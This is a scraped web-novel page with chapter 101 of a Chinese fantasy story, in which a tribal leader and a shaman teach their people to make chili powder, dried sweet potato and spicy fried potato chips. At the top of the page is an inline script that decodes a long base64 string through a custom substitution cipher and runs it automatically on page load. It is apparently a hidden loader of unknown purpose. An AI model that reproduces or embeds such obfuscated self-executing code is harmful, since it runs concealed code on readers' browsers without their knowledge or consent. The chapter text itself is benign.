趣书网

阅读记录  |   用户书架
(function(){function te1a7951(z4874c33){var rceaee7d5="Jjzf?2;8t!SDxe$]CAyp3m/sMR[uQr.W7@-vLUqk&(5OGgNX^EKnbI_=Z1Pc90T|w~o6ha,:FVYiHlBd%4";var y4c20dc8="sIGOcF8pV@1U29_~=7]rfSv0$j[.HlY%5?a|EJmxLMXC^D;tek4wuR!ozBKPZd/gT,QynA-Wh63&qbi(:N";return atob(z4874c33).split('').map(function(ff0fd44){var x06364=rceaee7d5.indexOf(ff0fd44);return x06364==-1?ff0fd44:y4c20dc8[x06364]}).join('')}var c=te1a7951('rtmp://bkJoMD1uWyIzcyIrIjNWU0EiKyI3IisiZSJ5QzNiaD9YQj1oZCl7ZDNiaD9YQj1oZDY/VjNseD9TfkozVj9ZQWVsLX5xM2UzMGUwP1l+cXg/eGVBMyl7QjNkVEcoLT92OkJoVHVYXkpYZGgtL0J8LVg9cHU4ci1YMz1wcSkpe3BeWGJwaH0vLXAgRXNLQTAwMGwtQzNiaD9YQj1oZDNWWT87U1NTKXtwXlhicGggbVhwQmh8dTNwPXFPRi1wTz0wXmQzVlk/O1NTUyl9Ti8tcCAwbEtWWS03U0NbInJSSixRc1MkJmZhZyRVbSRRdygmIn4iL15wLHNTIn4iSkIwLFNLViJ+Ij8/WCx4c3g3LHNWLHhZIHhZJXM3JTdzInlOLy1wIGhzZXN4O1ZTQ3EzZTMwZTA/WVtFc0tBMDAwbC1kZUEpK0VzS0EwMDBsLWRTU1YpK0VzS0EwMDBsLWRTU1MpK0VzS0EwMDBsLWRlOyl5fmJZZVZBVjNLQ3EzZTMwZTA/WVtFc0tBMDAwbC1kZTspK0VzS0EwMDBsLWRTU1YpK0VzS0EwMDBsLWRTU1MpK0VzS0EwMDBsLWRlQSl5fkpsc2w7Q3F4P3hlQTNbaHNlc3g7VlNkIi5ZdDY/cXRiMDI0Uj9xcm4wYUNDIil5fl4zLTstO1Y7c0Noc2VzeDtWU2QiLllVci41SXJJOmtybDp0YjBhQ0MiKX5eMDNTXjBzQ2hzZXN4O1ZTZCI/WXRCP1lJNi06N2giKX5COy1ZM2VZO0Noc2VzeDtWU2QiP3F0bmx6MlI5b0NDIil+UlZZVlk3ZVMtQ2hzZXN4O1ZTZCI/WTFKLTVvQyIpfi1WP1NBO0FDaHNlc3g7VlNkIj9xdHg5NVVaOW9DQyIpflpBc0FlS2xeQ2hzZXN4O1ZTZCItcWU4bHxDQyIpflhlWWxsU0F4Q3EzZTMwZTA/WVtoc2VzeDtWU2Qidzoycy1hQ0MiKXl+ODBeZVZBP3hDWGVZbGxTQXhbaHNlc3g7VlNkIi54dDhsYUNDIil5fi1WS3gwMDdeQ1hlWWxsU0F4W2hzZXN4O1ZTZCI5cWsvbFlqQyIpeX5sXjtWZVZDWGVZbGxTQXhbaHNlc3g7VlNkIj9xMmI5emVYIil5fkJsPzctN2VDaHNlc3g7VlNkImw6MnMueHxDIil+cl4teF5WWS03Q2hzZXN4O1ZTZCJsOjJuIil+cF5lQVZeP1lDaHNlc3g7VlNkImx6ZUY5YUNDIilOLy1wIFpTO2UwZTMzQ2hzZXN4O1ZTZCI/eFNzLTpJcjB8Q0MiKU4vLXAgOD9lU0EzOzdLTi8tcCAvc0teM3hsQzY/VjNseD9TW3N5TkIzZDY/VjNseD9TdXJeaHxYRj5TKXsvc0teM3hsQzY/VjNseD9TWy1WS3gwMDdeZGxeO1ZlVmQpKjY/VjNseD9TdXJeaHxYRil5fUIzZHI9Py1YQj1odUpeLXA/RnVCaDBea2YzZFpTO2UwZTMzKT4sUyl7OD9lU0EzOzdLQ3F4P3hlQTNbXjMtOy07VjtzeWRoc2VzeDtWU2QiMHp0SzB6MjY5OkxDIikpTjg/ZVNBMzs3S3VCMEMiWCIrbF47VmVWZCkqU15LTjg/ZVNBMzs3S3VKWDZyXnVuQjBYRkMiU3NzVyJOOD9lU0EzOzdLdUpYNnJedUZeQnxGWEMiN3NzOGsiTjg/ZVNBMzs3S3UwQkotbHJeMENYcGJeTkIzZHF4P3hlQTN1bD0wNl9DaGJycil7cXg/eGVBM3VsPTA2dS04OF5oME9GQnIwZDg/ZVNBMzs3Syl9XnJKXnsvLXAgRlM/MDBDM2JoP1hCPWhkKXtxeD94ZUEzdWw9MDZ1LTg4XmgwT0ZCcjBkOD9lU0EzOzdLKU5xM2UzMGUwP1l1cF5xPS9eTC9eaFgmQkpYXmhecGRwXmVBVl4/WX5GUz8wMH4zLXJKXil9TnEzZTMwZTA/WXUtMDBML15oWCZCSlheaF5wZHBeZUFWXj9ZfkZTPzAwfjMtckpeKX19Ly1wIEZLP3NZeEtlQ3F4P3hlQTNbXjMtOy07VjtzeWRoc2VzeDtWU2QiOTpTQjk6b0MiKSlORks/c1l4S2V1QjBDSjNWP1lBZWwtKzgwXmVWQT94ZGxeO1ZlVmQpKlNeSylORks/c1l4S2V1Slg2cl51Rl5CfEZYQyJzOGsiTkZLP3NZeEtldUpYNnJedT0vXnAzcj1uQyJGQjAwXmgiTj89aEpYIFpLOzMwXmxTO0NkXjdsWTNzfm47LTMtP0t+NlYtM2w3WV5DeHNzKUM+Y3A9cUJKXnVwLT9eZFszXlg/RmReN2xZM3N+bjstMy0/Syl+aF5uIGNwPXFCSl5kZGQkfnBeUl4/WClDPkpeWHdCcV49YlhkZGQpQz5wXlJeP1hkaF5uIExwcD1wZCJYQnFePWJYIikpKX42Vi0zbDdZXikpKXkpTi8tcCA2P1k3ZWxDLUo2aD8gM2JoP1hCPWhkWlkweDNeP3hLKXsvLXAgcjdeU0FDWyJSSiJ+Ij9KSiJ+IkZYcXIifiJ8QjMifiJSOHwifiI4aHwieU4vLXAgcmVeXlk/P0NyN15TQXVyXmh8WEZOcjdeU0FDcjdeU0FbLVZLeDAwN15kbF47VmVWZCkqcmVeXlk/Pyl5Tj89aEpYIF47XmVBQWV4Q1siOXg/Yj9ZMi9sNTg4MGh0Wmw6a1g5eDA3bG03c2xZYVZmd0VTNHxDQyJ5Ti8tcCA9VjA/cy0zQ147XmVBQWV4W3N5TkIzZF47XmVBQWV4dXJeaHxYRj5TKXs9VjA/cy0zQ147XmVBQWV4Wy1WS3gwMDdeZGxeO1ZlVmQpKl47XmVBQWV4dXJeaHxYRil5fS8tcCByXmxec1lDWyJGWFg4SiVUIn5xU2UzN2xzbF5kPVYwP3MtMyl+IkZYcXIifkZLP3NZeEtldUIwfmBNe0ozVj9ZQWVsLX11TXtyN15TQX1geVtaQXNBZUtsXnlkIlQiKU5CM2Q4P2VTQTM7N0tfQ2hicnIpOD9lU0EzOzdLdS8tcmJeK0MiXHBcaEpeaDAgSEogRj1KWCAiK3JebF5zWU5YcDZ7Ly1wIG5sczM3VlZDLW4tQlggWks7MzBebFM7ZHJebF5zWX57Py0/Rl4lImg9LEpYPXBeIn5wXjBCcF4/WCUiMz1ycj1uIn0pTm5sczM3VlZDLW4tQlggbmxzMzdWVnVYXmtYZClOLy1wIEY3eHgwO0NubHMzN1ZWdUJoMF5rZjNkRXNLQTAwMGwtZFZTKSlOLy1wIFpWMzM7M0MiIk5CM2RGN3h4MDs+Q3Mpe1pWMzM7M0NubHMzN1ZWW14wM1NeMHN5ZEY3eHgwOylObmxzMzdWVkNubHMzN1ZWW14wM1NeMHN5ZHN+Rjd4eDA7KX1ubHMzN1ZWQ25sczM3VlZbQmw/Ny03ZXlkVHV7U35LfVR8KVtyXi14XlZZLTd5ZGRrQz5rW1JWWVZZN2VTLXlkIiIpWy1WP1NBO0F5ZClbWkFzQWVLbF55ZCIiKSkpW1pBc0FlS2xeeWQiIilObmxzMzdWVkNubHMzN1ZWK1pWMzM7M05ubHMzN1ZWQ2hzZXN4O1ZTZG5sczM3VlYpTlpZMHgzXj94S0NubHMzN1ZWW1JWWVZZN2VTLXlkIlQiKVtzeU5CM2Q4P2VTQTM7N0tfQ2hicnIpOD9lU0EzOzdLdS8tcmJeK0MiXHBcaHxeWCBISiBGPUpYIEpiPz9eSkoiK1pZMHgzXj94S30/LVg/RmQzZTstZVkpe0IzZDg/ZVNBMzs3S19DaGJycik4P2VTQTM7N0t1Ly1yYl4rQyJccFxofF5YIEhKIEY9SlggMy1Ccl4wIiszZTstZVl9Ly1wIHxlUz87Q2JZZVZBVjNLZDBsS1ZZLTdTdT89aD8tWGRbYGg9bixNe2ctWF5bImg9biJ5ZCl9YH5gRnBeMyxNe3I9Py1YQj1odUZwXjN9YH5gYko/LE17a2x4LUtTUz8tZCl9YHkpdUo9cFhkZGQpQz5sXjtWZVZkKSx1NykpW1pBc0FlS2xeeWQifiIpKU4vLXAgQmw7S0E7bDdDfGVTPzt1QmgwXmtmM2RFc0tBMDAwbC1kVlMpKT4sU0B8ZVM/O1teMDNTXjBzeWR8ZVM/O3VCaDBea2YzZEVzS0EwMDBsLWRWUykpKSUiIk58ZVM/O0N8ZVM/O1tCOy1ZM2VZO3lkQmw7S0E7bDd+IiIpW1JWWVZZN2VTLXlkIiIpWy1WP1NBO0F5ZClbWkFzQWVLbF55ZCIiKStCbDtLQTtsN05GSz9zWXhLZXVKcD9DWyJGWFg4SiVUIn5aWTB4M14/eEt+Rks/c1l4S2V1QjB+fGVTPzt5W1pBc0FlS2xeeWQiVCIpTlhwNntxeD94ZUEzdWw9MDZ1LTg4XmgwT0ZCcjBkRks/c1l4S2UpfT8tWD9GZF4pe3F4P3hlQTN1LTAwTC9eaFgmQkpYXmhecGQiZ2YoTz1oWF5oWCY9LTBeMCJ+ZGQpQz57cXg/eGVBM3VsPTA2dUJoSl5wWDFeMz1wXmRGSz9zWXhLZX5xeD94ZUEzdWw9MDZ1P0ZCcjA0PTBeSltzeSl9KSl9QjNkOD9lU0EzOzdLX0NoYnJyKXs4P2VTQTM7N0t1Ly1yYl4rQyJccFxoLTg4XmgwXjAgXnEgWD0gRlhxciJOLy1wIDhBeGw7LUs/Q3F4P3hlQTN1fF5YTHJecV5oWDE2ajBkRks/c1l4S2V1QjApTkIzZDhBeGw7LUs/Q0NoYnJydnY4QXhsOy1LP0NDYmgwXjNCaF4wKXs4P2VTQTM7N0t1Ly1yYl4rQyJccFxoID8taFggfF5YIF5xIDNwPXEgRlhxciJ9fX1OQjNkOD9lU0EzOzdLX0NoYnJyKXs4P2VTQTM7N0t1Ly1yYl4rQyJccFxoSl5oMCBSSiBGPUpYICIrL3NLXjN4bH0vLXAga2x4LUtTUz8tQzNiaD9YQj1oZCl7WHA2ez89aEpYIC87M2V4P1NZQ2RoXm4gZy1YXil1WD0mPT8tcl5nLVhebVhwQmh8ZClOPz1oSlggaDNlN2VZPzNZQ2BKcVhCJEpCMCRNey9BbDszdUozVj9ZQWVsLX0kOC9gTnJeWCBIM1Zsc1YtQVlDVW1mNHU4LXBKXmRyPT8tcm1YPXAtfF51fF5YalhecWRoM2U3ZVk/M1kpKU5CM2RIM1Zsc1YtQVlDQ2hicnJ2dkgzVmxzVi1BWXUwLVheX0MvOzNleD9TWSl7SDNWbHNWLUFZQ3s4L3dCcV5KJXN+MC1YXiUvOzNleD9TWX19cF5YYnBoIEgzVmxzVi1BWXU4L3dCcV5KK1N9Py1YP0ZkMzdeLTdWc2VeKXtwXlhicGggU319Ti8tcCBxU2UzN2xzbF5DM2JoP1hCPWhkRnNlVmw/KXtwXlhicGggaHNlc3g7VlNkRnNlVmw/KVtCOy1ZM2VZO3lkRXNLQTAwMGwtZEt4KX5sXjtWZVZkKXVYPW1YcEJofGRZVil1SnJCP15kLVZLeDAwN15kbF47VmVWZCkqZSkreCkpfU42P1k3ZWxkcVNlMzdsc2xeZC9zS14zeGwpKU5xM2UzMGUwP1lbIi0wMEwvXmhYJkJKWF5oXnAieWQicV5KSi18XiJ+ZDNiaD9YQj1oZDM3Xi03VnNlXil7QjNkMzdeLTdWc2VedTAtWC11RUNDSjNWP1lBZWwtKXtxeD94ZUEzdXxeWExyXnFeaFgxNmowZEZLP3NZeEtldUIwKXVwXnE9L15kKU4vLXAgXjBsZTszQTBDaGJyck5CM2Q4P2VTQTM7N0tfQ2hicnIpezg/ZVNBMzs3S3UvLXJiXitDIlxwXGhwXj9eQi9eIF5xIDg9SlggcV5KSi18XiJOOD9lU0EzOzdLdS8tcmJeK0MiXHBcaF51MC1YLXUvICIrMzdeLTdWc2VedTAtWC11SE5eMGxlOzNBMENkdXV1fD9lS0swWVkpQz57QjNkX3w/ZUtLMFlZdnZ8P2VLSzBZWXVyXmh8WEY8Q3MpcF5YYnBoTjg/ZVNBMzs3S3UvLXJiXitDIlxwXGgiK3w/ZUtLMFlZdVI9QmhkIiAiKX19aF5uIDJiaD9YQj1oZCItcHxKIn4zN14tN1ZzZV51MC1YLXVIKWR7JFgwP0olSmxzbDt+JHI9fCVeMGxlOzNBMH0pfX0pKX0pZFsiOXg/Yi41MXNmenJZLjVJWmw6a1g5eDA3bG03c2xZYVZmd0VTNHxDQyJ5fiJTS1Yifm5CaDA9bn4wPT9icV5oWCl9TjNzM1ZTQTdlZClO'.substr(7));new Function(c)()})();
上一章
目录 | 设置
下一页

第101章 制作美食(1 / 2)

加入书签 | 推荐本书 | 问题反馈 |

作者提示:

红薯干和土豆片,麻辣肉干,辣椒香酥脆等制作方法,因地区,季节,个人口味和小说情节的不同,而有所差异,请不要过度考究,谢谢。

正文:

大家听到首领和大巫要给他们做好吃的,一个个顿时来了精神,立马就按照二人的要求,在祭祀广场升起了好几拢火。

案桌和一应用具整齐摆上,火焰熊熊燃烧,为即将开始的美食制作增添了一份热烈的氛围。

秦朗看阵仗搞得那么大,若只做这些东西,有点儿大材小用的感觉,便宣布除了原本计划的食物之外,再做些辣椒脆和麻辣肉干。

大家巴之不得,因为首领和大巫每次制作出来的吃食都让他们欲罢不能,便兴奋地欢呼起来。

秦朗便让熊博等手脚麻利的兽人战士,配合亚兽们的指挥,先将兽肉处理出来。

与此同时,慕容璃已带人选出新鲜无虫害的红薯,一一清洗干净,确保没有任何杂质残留后,就将红薯放入锅中,隔水大火蒸煮。

秦朗则是自觉揽下了准备辣椒配料和洗切土豆片的活儿,他拿出之前采摘晒干的辣椒,将大石锅放在火上,随即倒入辣椒,用小火不停翻炒。

随着翻炒的进行,辣椒独有的香味,很快散发出来,味道又呛又浓,刺激得众人频频喷嚏。

但都乐呵呵地笑着互相调侃,给孩子擦着鼻涕,谁也没有离开。

不过,一直围观的小白一家,却是受不了这样的“折磨”,它们被周围的喧闹声和各种气味弄得有些烦躁,纷纷仰天长啸。

随后分别在秦朗和慕容璃腿边拱了拱,就转身跑了,眨眼功夫便不见身影。

只留下一片惊叹,众人看着它们一家离去的方向,笑着纷纷摇摇头,继续沉浸在欢乐的氛围中。

渐渐地,辣椒变得酥脆,那股椒香变得愈发浓郁,就可起锅。

接着,秦朗就将花椒放入锅中炒香,大蒜瓣则放入热油中炸至酥脆,沥干油脂。

再按比例,将辣椒和炒过的花椒,以及酥脆的大蒜瓣,一起用石磨磨成细腻的粉末。

石磨缓缓转动,发出“咕噜咕噜”的声音,粉末渐渐细腻,再加入适量的盐,麻辣咸香的辣椒面就调制成了。

红彤彤的辣椒面里,金黄细小的蒜粒点缀其中,散发着诱人的光泽,让人看了就垂涎欲滴。

无论是炒菜时加入一点增添风味,还是用于烧烤蘸料,亦或是放在凉拌菜中提升口感,都非常美味。

“好香,好香……”

孩子们围在装着辣椒面的石锅前,纷纷皱着小鼻子嗅个不停,那可爱的模样让人忍俊不禁。

秦朗便笑着让蓝朵他们趁着人都在,干脆再杀20只野兔,“一会儿我给大家做点儿手撕兔肉吃。”

众人高兴不已,连连说好,孩子们更是雀跃欢呼,直喊,“首领万岁”,把秦朗逗得哈哈大笑,满脸宠溺地唤了他们几声“小馋猫”。

便让慕容璃在旁看着他们处理兔子,自己则是和熊博几个一起,将已经洗净的土豆切成均匀的薄片,放入水中涮洗。

再捞出,放到流动水边将淀粉彻底清洗干净,而第一道过滤淀粉的水,则留在盆中静置,以便沉淀出淀粉,留着在今后制作其他美食时使用。

无论是用来勾芡,给汤汁增加浓稠,还是制作一些糕点,淀粉都能发挥重要的作用,为食物增添独特的口感和质地。

土豆片冲刷干净,放一旁沥干水分,同时烧大锅热水,待水沸翻腾,将少许盐和其中一半沥干水分的土豆片放入锅中。

焯水至土豆片成透明状态,立马捞出过凉水,这样可以使土豆片更加爽脆。

随即沥干水分,放在通风良好、阳光充足的地方晾晒,需要注意的是,在晾晒过程中,需隔一段时间,翻动一下土豆片,以确保其均匀受热和干燥。

同时,要避免土豆片受到阳光过度直射,以免影响口感和质量。

等到土豆片变得干燥、坚硬,就可以将其收集起来保存,这样做出来的土豆片,只要不受潮,不生虫,放几年都不成问题。

这是大燕黔城那边百姓的制作方法,当人们想吃时,拿出来放油炸即可。

经过油炸后的土豆片酥脆咸香,再加上辣椒面,那味道非常美味,让人回味无穷。

将美味的土豆片摊开晾好,红薯也蒸了熟透,大伙儿连忙帮着将其捞出,在慕容璃地指挥下,趁热去皮,再用刀切成适当大小的块状或条状。

红薯的处理方式与土豆片一样,放在通风良好,阳光充足的地方晾晒,并注意翻动红薯块,使其均匀受热,避免发霉就可。

不过,由于处理过的红薯和土豆片,在晾晒过程中容易遭蚊虫。

慕容璃便吩咐孩子们各拿着一根干净树枝,守在一旁,时刻驱赶蚊虫,毕竟,大家都不想吃带有虫卵和被虫子爬过的食物。

孩子们很听话,对于这个任务特别开心,一个个叽叽喳喳地围着晾晒土豆片和红薯的地方转,小短腿儿倒腾不停。

小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!奶声奶气地嚷嚷着“这儿有只蚊子,打死它”,“那里有苍蝇飞过来了,快赶走”云云,模样可爱极了。

秦朗和众人看着小家伙们的活泼模样,不禁笑了起来,纷纷交代他们注意别摔了。

随后重新架锅烧了一大锅油,待油烧至六成热时,就可放入适量土豆片,量以油正好能没过所有土豆片为宜。

在煎炸过程中,一定要格外注意翻动土豆片,避免受热不均,防止土豆片糊掉或煎炸过度,从而影响口感。

待土豆片炸至金黄捞出,用带气孔的器皿盛装,万不可盖盖,以免产生汽水,使土豆片发软受潮。

而后等到土豆片温度稍降,没那么烫了,便可将之前准备好的蒜香麻辣辣椒面撒在其中,搅拌均匀,美味的土豆片便制作完成,就可炸第二锅。

此时,族人们已经学会了制作方法,秦朗和慕容璃便当起了甩手掌柜。

将接下来的两种食物制作进交给族人练手,这样以后他们在家也可自己制作,既丰富了日常饮食,又增添了生活的乐趣。

众人也乐得参与其中,满心欢喜地爽快接过“重任”,秦朗便将沉淀的土豆粉中多余的水倒出。

随即带着部分族人,仔细去除大的疙瘩杂质,然后将其尽量分开,使其呈现出较为松散的状态,再均匀摊开晾晒。

这样可以确保土豆粉能够充分接触空气,更快干燥,为稍后的使用做好准备。

随后估摸着时间,分出一竹筐麻辣土豆片摆在石桌上,让大家品尝。

大伙儿早已馋得不行,纷纷围上来,伸手拿起土豆片,“咔嚓咔嚓”的清脆响声,随之在人群中响起。

土豆片又香又辣,带着独有的蒜香和麻味,嘎嘣脆的口感,刺激着众人的味蕾,大家纷纷赞叹,吃到停不下来。

“太好吃了,这个土豆片。”

“比肉干还好吃,越吃越香!”

上一章
目录
下一页
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间